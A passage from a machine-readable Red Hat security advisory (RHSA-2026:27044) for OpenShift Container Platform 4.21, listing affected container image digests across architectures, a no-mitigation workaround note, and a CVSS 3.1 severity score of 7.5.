"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27044"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
